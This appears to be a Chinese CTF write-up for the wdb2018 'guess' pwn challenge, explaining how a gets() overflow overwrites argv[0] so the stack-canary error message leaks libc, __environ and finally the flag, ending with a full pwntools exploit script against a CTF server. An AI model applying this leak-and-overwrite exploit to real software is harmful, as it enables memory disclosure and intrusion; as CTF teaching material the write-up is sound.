zoukankan      html  css  js  c++  java
  • wdb2018_guess(stack smash,__environ获取栈变量)

    checksec:

    开启了Canary

     main:

    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
      __WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch]
      int v5; // [rsp+1Ch] [rbp-84h]
      __int64 v6; // [rsp+20h] [rbp-80h]
      __int64 v7; // [rsp+28h] [rbp-78h]
      char buf; // [rsp+30h] [rbp-70h]
      char s2; // [rsp+60h] [rbp-40h]
      unsigned __int64 v10; // [rsp+98h] [rbp-8h]
    
      v10 = __readfsqword(0x28u);
      v7 = 3LL;
      LODWORD(stat_loc.__uptr) = 0;
      v6 = 0LL;
      sub_4009A6();
      HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2);
      if ( HIDWORD(stat_loc.__iptr) == -1 )
      {
        perror("./flag.txt");
        _exit(-1);
      }
      read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL);
      close(SHIDWORD(stat_loc.__iptr));
      puts("This is GUESS FLAG CHALLENGE!");
      while ( 1 )
      {
        if ( v6 >= v7 )
        {
          puts("you have no sense... bye :-) ");
          return 0LL;
        }
        v5 = sub_400A11();
        if ( !v5 )
          break;
        ++v6;
        wait((__WAIT_STATUS)&stat_loc);
      }
      puts("Please type your guessing flag");
      gets(&s2);
      if ( !strcmp(&buf, &s2) )
        puts("You must have great six sense!!!! :-o ");
      else
        puts("You should take more effort to get six sence, and one more challenge!!");
      return 0LL;
    }

    sub_400A11:

    __int64 sub_400A11()
    {
      unsigned int v1; // [rsp+Ch] [rbp-4h]
    
      v1 = fork();
      if ( v1 == -1 )
        err(1, "can not fork");
      return v1;
    }

    很明显,gets存在栈溢出。flag一开始就被写进栈中。我们需要利用canary报错的信息泄露flag。

    canary检测到栈溢出后的报错信息打印出了程序名,实际上这个文件名是由argv[0]指向的。只要通过栈溢出用自己构造的

    字符串地址覆盖掉argv[0]就能打印相应的字符串。

    关于_environ:https://blog.csdn.net/chennbnbnb/article/details/104035261

    我们还不知道偏移是多少,需要通过_environ找到偏移。获取_environ的地址需要先泄露出libc。

    所以总计要三次溢出。程序刚好fork了三次。

     计算出输入参数的地址到argv[0]的偏移为0x128

    第一次溢出获取puts地址:

    payload='a'*0x128+p64(puts_got)
    a.sendline(payload)
    puts_addr=u64(a.recvuntil('x7f')[-6:].ljust(8,'x00'))
    print hex(puts_addr)
    libc_base=puts_addr-libc.sym['puts']
    environ=libc_base+libc.sym['__environ']

    第二次溢出泄露_environ地址:

    payload='a'*0x128+p64(environ)
    a.sendline(payload)
    environ_addr=u64(a.recvuntil('x7f')[-6:].ljust(8,'x00'))
    print hex(environ_addr)

    本地调试(sad是我本地flag.txt的内容),算出flag和environ的偏移为0x168

     

     第三次溢出打印flag:

    payload='a'*0x128+p64(environ_addr-0x168)
    a.sendline(payload)
    #gdb.attach(a)
    a.interactive()

    exp:

    #!/usr/bin/python
    #coding:utf-8
    from pwn import *
    from struct import pack
    
    a=remote("node3.buuoj.cn",25266)
    #a=process("/root/guess",env = {"LD_PRELOAD": "./libc.so.6"})
    libc=ELF("/root/libc-2.23.so")
    elf=ELF("/root/guess")
    #puts_plt=elf.plt['puts']
    puts_got=elf.got['puts']
    #context(os='linux',log_level='debug')
    
    payload='a'*0x128+p64(puts_got)
    a.sendline(payload)
    puts_addr=u64(a.recvuntil('x7f')[-6:].ljust(8,'x00'))
    print hex(puts_addr)
    libc_base=puts_addr-libc.sym['puts']
    environ=libc_base+libc.sym['__environ']
    
    payload='a'*0x128+p64(environ)
    a.sendline(payload)
    environ_addr=u64(a.recvuntil('x7f')[-6:].ljust(8,'x00'))
    print hex(environ_addr)
    
    payload='a'*0x128+p64(environ_addr-0x168)
    a.sendline(payload)
    #gdb.attach(a)
    a.interactive()

    成功getflag:

  • 相关阅读:
    androd ListView + CheckBox 解决超出一屏无法全选的问题。
    关于学习
    正则表达式助记口诀(转)
    无题
    《编程那些事儿》,《学习的艺术》读后泛谈
    我最恐惧的事情是竞争力的丧失
    编写小程序,测试你的严谨思维能力
    倒行逆施的贾金斯先生(转)
    C++学习步骤
    周爱民给程序员的十点建议
  • 原文地址:https://www.cnblogs.com/remon535/p/14152055.html
Copyright © 2011-2022 走看看